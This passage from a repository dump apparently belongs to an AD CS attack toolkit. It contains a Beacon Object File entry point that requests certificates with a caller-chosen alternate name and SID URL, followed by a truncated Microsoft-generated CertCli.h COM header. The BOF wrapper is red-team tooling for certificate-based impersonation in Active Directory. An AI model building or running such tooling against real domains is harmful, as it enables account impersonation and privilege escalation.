    "content": "#include <windows.h>\n#include <stdio.h>\n#include \"beacon.h\"\n#include \"bofdefs.h\"\n#include \"base.c\"\n#include \"adcs_request.c\"\n\n\n#ifdef BOF\nVOID go(\n\tIN PCHAR Buffer,\n\tIN ULONG Length\n)\n{\n\tHRESULT hr = S_OK;\n\tdatap parser;\n\tLPCWSTR lpswzCA = NULL;\n\tLPCWSTR lpswzTemplate = NULL;\n\tLPCWSTR lpswzSubject = NULL;\n\tLPCWSTR lpswzAltName = NULL;\n\tLPCWSTR lpswzAltUrl = NULL;\n\tLPCWSTR lpswzPfxPassword = NULL;\n\tBOOL bInstall = FALSE;\n\tBOOL bMachine = FALSE;\n\tBOOL addAppPolicy = FALSE;\n\tBOOL dns = FALSE;\n\tBOOL bPem = FALSE;\n    \n\tif (!bofstart())\n\t{\n\t\treturn;\n\t}\n\n\tBeaconDataParse(&parser, Buffer, Length);\n\tlpswzCA = (LPCWSTR)BeaconDataExtract(&parser, NULL);\n\tlpswzTemplate = (LPCWSTR)BeaconDataExtract(&parser, NULL);\n\tlpswzSubject = (LPCWSTR)BeaconDataExtract(&parser, NULL);\n\tlpswzAltName = (LPCWSTR)BeaconDataExtract(&parser, NULL);\n\tlpswzAltUrl = (LPCWSTR)BeaconDataExtract(&parser, NULL);\n\tlpswzPfxPassword = (LPCWSTR)BeaconDataExtract(&parser, NULL);\n\tbInstall = (BOOL)BeaconDataShort(&parser);\n\tbMachine = (BOOL)BeaconDataShort(&parser);\n\taddAppPolicy = (BOOL)BeaconDataShort(&parser);\n\tdns = (BOOL)BeaconDataShort(&parser);\n\tbPem = (BOOL)BeaconDataShort(&parser);\n\t\n\tinternal_printf(\"\\nRequesting a %S certificate from %S for the current user\\n\", lpswzTemplate, lpswzCA);\n\n\thr = adcs_request(\n\t\tlpswzCA, \n\t\tlpswzTemplate,\n\t\tlpswzSubject,\n\t\tlpswzAltName,\n\t\tlpswzAltUrl,\n\t\tlpswzPfxPassword,\n\t\tbInstall,\n\t\tbMachine,\n\t\taddAppPolicy,\n\t\tdns,\n\t\tbPem\n\t);\n\tif (S_OK != hr)\n\t{\n\t\tBeaconPrintf(CALLBACK_ERROR, \"Failed: 0x%08lx\\n\", hr);\n\t\tgoto fail;\n\t}\n\n\tinternal_printf(\"\\n--- SUCCESS ---\\n\");\n\nfail:\n\tprintoutput(TRUE);\n\n\tbofstop();\n};\n#else\n#define TEST_CA L\"Cert.testrange.local\\\\testrange-CERT-CA\"\n#define TEST_TEMPLATE L\"\"\n#define TEST_SUBJECT L\"\"\n#define TEST_ALTNAME L\"\"\n#define TEST_ALTURL L\"\"\n//#define TEST_ALTURL L\"tag:microsoft.com,2022-09-14:sid:S-1-5-21-712980493-1503034693-3565059331-1105\"\n#define TEST_PFX_PASSWORD L\"\"\n#define TEST_INSTALL FALSE\n#define TEST_MACHINE FALSE\n#define TEST_APPPOLICY FALSE\n#define TEST_DNS FALSE\n#define TEST_PEM FALSE\nint main(int argc, char ** argv)\n{\n\tHRESULT hr = S_OK;\n\tLPCWSTR lpswzCA = TEST_CA;\n\tLPCWSTR lpswzTemplate = TEST_TEMPLATE;\n\tLPCWSTR lpswzSubject = TEST_SUBJECT;\n\tLPCWSTR lpswzAltName = TEST_ALTNAME;\n\tLPCWSTR lpswzAltUrl = TEST_ALTURL;\n\tLPCWSTR lpswzPfxPassword = TEST_PFX_PASSWORD;\n\tBOOL bInstall = TEST_INSTALL;\n\tBOOL bMachine = TEST_MACHINE;\n\tBOOL bAppPolicy = TEST_APPPOLICY;\n\tBOOL bDNS = TEST_DNS;\n\tBOOL bPem = TEST_PEM;\n\n\tinternal_printf(\"\\nRequesting a %S certificate from %S for the current user\\n\", lpswzTemplate, lpswzCA);\n\n\thr = adcs_request(\n\t\tlpswzCA, \n\t\tlpswzTemplate,\n\t\tlpswzSubject,\n\t\tlpswzAltName,\n\t\tlpswzAltUrl,\n\t\tlpswzPfxPassword,\n\t\tbInstall,\n\t\tbMachine,\n\t\tbAppPolicy,\n\t\tbDNS,\n\t\tbPem\n\t);\n\tif (S_OK != hr)\n\t{\n\t\tBeaconPrintf(CALLBACK_ERROR, \"Failed: 0x%08lx\\n\", hr);\n\t\tgoto fail;\n\t}\n\n\tinternal_printf(\"\\n--- SUCCESS ---\\n\");\n\nfail:\n\treturn hr;\n}\n#endif\n\n\t\n\n\n\n\n"
  },
  {
    "path": "AD-BOF/ADCS-BOF/src/request_on_behalf/CertCli.h",
    "content": "\n\n/* this ALWAYS GENERATED file contains the definitions for the interfaces */\n\n\n /* File created by MIDL compiler version 8.01.0622 */\n/* @@MIDL_FILE_HEADING(  ) */\n\n\n\n/* verify that the <rpcndr.h> version is high enough to compile this file*/\n#ifndef __REQUIRED_RPCNDR_H_VERSION__\n#define __REQUIRED_RPCNDR_H_VERSION__ 500\n#endif\n\n/* verify that the <rpcsal.h> version is high enough to compile this file*/\n#ifndef __REQUIRED_RPCSAL_H_VERSION__\n#define __REQUIRED_RPCSAL_H_VERSION__ 100\n#endif\n\n#include \"rpc.h\"\n#include \"rpcndr.h\"\n\n#ifndef __RPCNDR_H_VERSION__\n#error this stub requires an updated version of <rpcndr.h>\n#endif /* __RPCNDR_H_VERSION__ */\n\n#ifndef COM_NO_WINDOWS_H\n#include \"windows.h\"\n#include \"ole2.h\"\n#endif /*COM_NO_WINDOWS_H*/\n\n#ifndef __certcli_h__\n#define __certcli_h__\n\n#if defined(_MSC_VER) && (_MSC_VER >= 1020)\n#pragma once\n#endif\n\n/* Forward Declarations */ \n\n#ifndef __ICertGetConfig_FWD_DEFINED__\n#define __ICertGetConfig_FWD_DEFINED__\ntypedef interface ICertGetConfig ICertGetConfig;\n\n#endif \t/* __ICertGetConfig_FWD_DEFINED__ */\n\n\n#ifndef __ICertConfig_FWD_DEFINED__\n#define __ICertConfig_FWD_DEFINED__\ntypedef interface ICertConfig ICertConfig;\n\n#endif \t/* __ICertConfig_FWD_DEFINED__ */\n\n\n#ifndef __ICertConfig2_FWD_DEFINED__\n#define __ICertConfig2_FWD_DEFINED__\ntypedef interface ICertConfig2 ICertConfig2;\n\n#endif \t/* __ICertConfig2_FWD_DEFINED__ */\n\n\n#ifndef __ICertRequest_FWD_DEFINED__\n#define __ICertRequest_FWD_DEFINED__\ntypedef interface ICertRequest ICertRequest;\n\n#endif \t/* __ICertRequest_FWD_DEFINED__ */\n\n\n#ifndef __ICertRequest2_FWD_DEFINED__\n#define __ICertRequest2_FWD_DEFINED__\ntypedef interface ICertRequest2 ICertRequest2;\n\n#endif \t/* __ICertRequest2_FWD_DEFINED__ */\n\n\n#ifndef __ICertRequest3_FWD_DEFINED__\n#define __ICertRequest3_FWD_DEFINED__\ntypedef interface ICertRequest3 ICertRequest3;\n\n#endif \t/* __ICertRequest3_FWD_DEFINED__ */\n\n\n#ifndef __CCertGetConfig_FWD_DEFINED__\n#define __CCertGetConfig_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertGetConfig CCertGetConfig;\n#else\ntypedef struct CCertGetConfig CCertGetConfig;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertGetConfig_FWD_DEFINED__ */\n\n\n#ifndef __CCertConfig_FWD_DEFINED__\n#define __CCertConfig_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertConfig CCertConfig;\n#else\ntypedef struct CCertConfig CCertConfig;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertConfig_FWD_DEFINED__ */\n\n\n#ifndef __CCertRequest_FWD_DEFINED__\n#define __CCertRequest_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertRequest CCertRequest;\n#else\ntypedef struct CCertRequest CCertRequest;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertRequest_FWD_DEFINED__ */\n\n\n#ifndef __CCertServerPolicy_FWD_DEFINED__\n#define __CCertServerPolicy_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertServerPolicy CCertServerPolicy;\n#else\ntypedef struct CCertServerPolicy CCertServerPolicy;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertServerPolicy_FWD_DEFINED__ */\n\n\n#ifndef __CCertServerExit_FWD_DEFINED__\n#define __CCertServerExit_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertServerExit CCertServerExit;\n#else\ntypedef struct CCertServerExit CCertServerExit;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertServerExit_FWD_DEFINED__ */\n\n\n/* header files for imported files */\n#include \"wtypes.h\"\n#include \"certif.h\"\n\n#ifdef __cplusplus\nextern \"C\"{\n#endif \n\n\n/* interface __MIDL_itf_certcli_0000_0000 */\n/* [local] */ \n\n#include <winapifamily.h>\n#pragma region Desktop Family\n#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certcli_0000_0000_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certcli_0000_0000_v0_0_s_ifspec;\n\n#ifndef __ICertGetConfig_INTERFACE_DEFINED__\n#define __ICertGetConfig_INTERFACE_DEFINED__\n\n/* interface ICertGetConfig */\n/* [unique][helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertGetConfig;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"c7ea09c0-ce17-11d0-8833-00a0c903b83c\")\n    ICertGetConfig : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE GetConfig( \n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrOut) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertGetConfigVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertGetConfig * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertGetConfig * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertGetConfig * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertGetConfig * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertGetConfig * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertGetConfig * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertGetConfig * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetConfig )( \n            __RPC__in ICertGetConfig * This,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrOut);\n        \n        END_INTERFACE\n    } ICertGetConfigVtbl;\n\n    interface ICertGetConfig\n    {\n        CONST_VTBL struct ICertGetConfigVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertGetConfig_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertGetConfig_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertGetConfig_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertGetConfig_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertGetConfig_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertGetConfig_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertGetConfig_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertGetConfig_GetConfig(This,Flags,pstrOut)\t\\\n    ( (This)->lpVtbl -> GetConfig(This,Flags,pstrOut) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertGetConfig_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertConfig_INTERFACE_DEFINED__\n#define __ICertConfig_INTERFACE_DEFINED__\n\n/* interface ICertConfig */\n/* [unique][helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertConfig;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"372fce34-4324-11d0-8810-00a0c903b83c\")\n    ICertConfig : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Reset( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__out LONG *pCount) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Next( \n            /* [retval][out] */ __RPC__out LONG *pIndex) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetField( \n            /* [in] */ __RPC__in const BSTR strFieldName,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrOut) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetConfig( \n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrOut) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertConfigVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertConfig * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertConfig * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertConfig * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertConfig * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertConfig * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertConfig * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertConfig * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Reset )( \n            __RPC__in ICertConfig * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__out LONG *pCount);\n        \n        HRESULT ( STDMETHODCALLTYPE *Next )( \n            __RPC__in ICertConfig * This,\n            /* [retval][out] */ __RPC__out LONG *pIndex);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetField )( \n            __RPC__in ICertConfig * This,\n            /* [in] */ __RPC__in const BSTR strFieldName,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrOut);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetConfig )( \n            __RPC__in ICertConfig * This,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrOut);\n        \n        END_INTERFACE\n    } ICertConfigVtbl;\n\n    interface ICertConfig\n    {\n        CONST_VTBL struct ICertConfigVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertConfig_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertConfig_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertConfig_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertConfig_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertConfig_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertConfig_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertConfig_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertConfig_Reset(This,Index,pCount)\t\\\n    ( (This)->lpVtbl -> Reset(This,Index,pCount) ) \n\n#define ICertConfig_Next(This,pIndex)\t\\\n    ( (This)->lpVtbl -> Next(This,pIndex) ) \n\n#define ICertConfig_GetField(This,strFieldName,pstrOut)\t\\\n    ( (This)->lpVtbl -> GetField(This,strFieldName,pstrOut) ) \n\n#define ICertConfig_GetConfig(This,Flags,pstrOut)\t\\\n    ( (This)->lpVtbl -> GetConfig(This,Flags,pstrOut) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertConfig_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertConfig2_INTERFACE_DEFINED__\n#define __ICertConfig2_INTERFACE_DEFINED__\n\n/* interface ICertConfig2 */\n/* [unique][helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertConfig2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"7a18edde-7e78-4163-8ded-78e2c9cee924\")\n    ICertConfig2 : public ICertConfig\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE SetSharedFolder( \n            /* [in] */ __RPC__in const BSTR strSharedFolder) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertConfig2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertConfig2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertConfig2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertConfig2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertConfig2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertConfig2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertConfig2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertConfig2 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Reset )( \n            __RPC__in ICertConfig2 * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__out LONG *pCount);\n        \n        HRESULT ( STDMETHODCALLTYPE *Next )( \n            __RPC__in ICertConfig2 * This,\n            /* [retval][out] */ __RPC__out LONG *pIndex);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetField )( \n            __RPC__in ICertConfig2 * This,\n            /* [in] */ __RPC__in const BSTR strFieldName,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrOut);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetConfig )( \n            __RPC__in ICertConfig2 * This,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrOut);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetSharedFolder )( \n            __RPC__in ICertConfig2 * This,\n            /* [in] */ __RPC__in const BSTR strSharedFolder);\n        \n        END_INTERFACE\n    } ICertConfig2Vtbl;\n\n    interface ICertConfig2\n    {\n        CONST_VTBL struct ICertConfig2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertConfig2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertConfig2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertConfig2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertConfig2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertConfig2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertConfig2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertConfig2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertConfig2_Reset(This,Index,pCount)\t\\\n    ( (This)->lpVtbl -> Reset(This,Index,pCount) ) \n\n#define ICertConfig2_Next(This,pIndex)\t\\\n    ( (This)->lpVtbl -> Next(This,pIndex) ) \n\n#define ICertConfig2_GetField(This,strFieldName,pstrOut)\t\\\n    ( (This)->lpVtbl -> GetField(This,strFieldName,pstrOut) ) \n\n#define ICertConfig2_GetConfig(This,Flags,pstrOut)\t\\\n    ( (This)->lpVtbl -> GetConfig(This,Flags,pstrOut) ) \n\n\n#define ICertConfig2_SetSharedFolder(This,strSharedFolder)\t\\\n    ( (This)->lpVtbl -> SetSharedFolder(This,strSharedFolder) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertConfig2_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertRequest_INTERFACE_DEFINED__\n#define __ICertRequest_INTERFACE_DEFINED__\n\n/* interface ICertRequest */\n/* [unique][helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertRequest;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"014e4840-5523-11d0-8812-00a0c903b83c\")\n    ICertRequest : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Submit( \n            /* [in] */ LONG Flags,\n            /* [in] */ __RPC__in const BSTR strRequest,\n            /* [in] */ __RPC__in const BSTR strAttributes,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [retval][out] */ __RPC__out LONG *pDisposition) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE RetrievePending( \n            /* [in] */ LONG RequestId,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [retval][out] */ __RPC__out LONG *pDisposition) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetLastStatus( \n            /* [retval][out] */ __RPC__out LONG *pStatus) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetRequestId( \n            /* [retval][out] */ __RPC__out LONG *pRequestId) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetDispositionMessage( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrDispositionMessage) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCACertificate( \n            /* [in] */ LONG fExchangeCertificate,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrCertificate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCertificate( \n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrCertificate) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertRequestVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertRequest * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertRequest * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertRequest * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertRequest * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertRequest * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertRequest * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertRequest * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Submit )( \n            __RPC__in ICertRequest * This,\n            /* [in] */ LONG Flags,\n            /* [in] */ __RPC__in const BSTR strRequest,\n            /* [in] */ __RPC__in const BSTR strAttributes,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [retval][out] */ __RPC__out LONG *pDisposition);\n        \n        HRESULT ( STDMETHODCALLTYPE *RetrievePending )( \n            __RPC__in ICertRequest * This,\n            /* [in] */ LONG 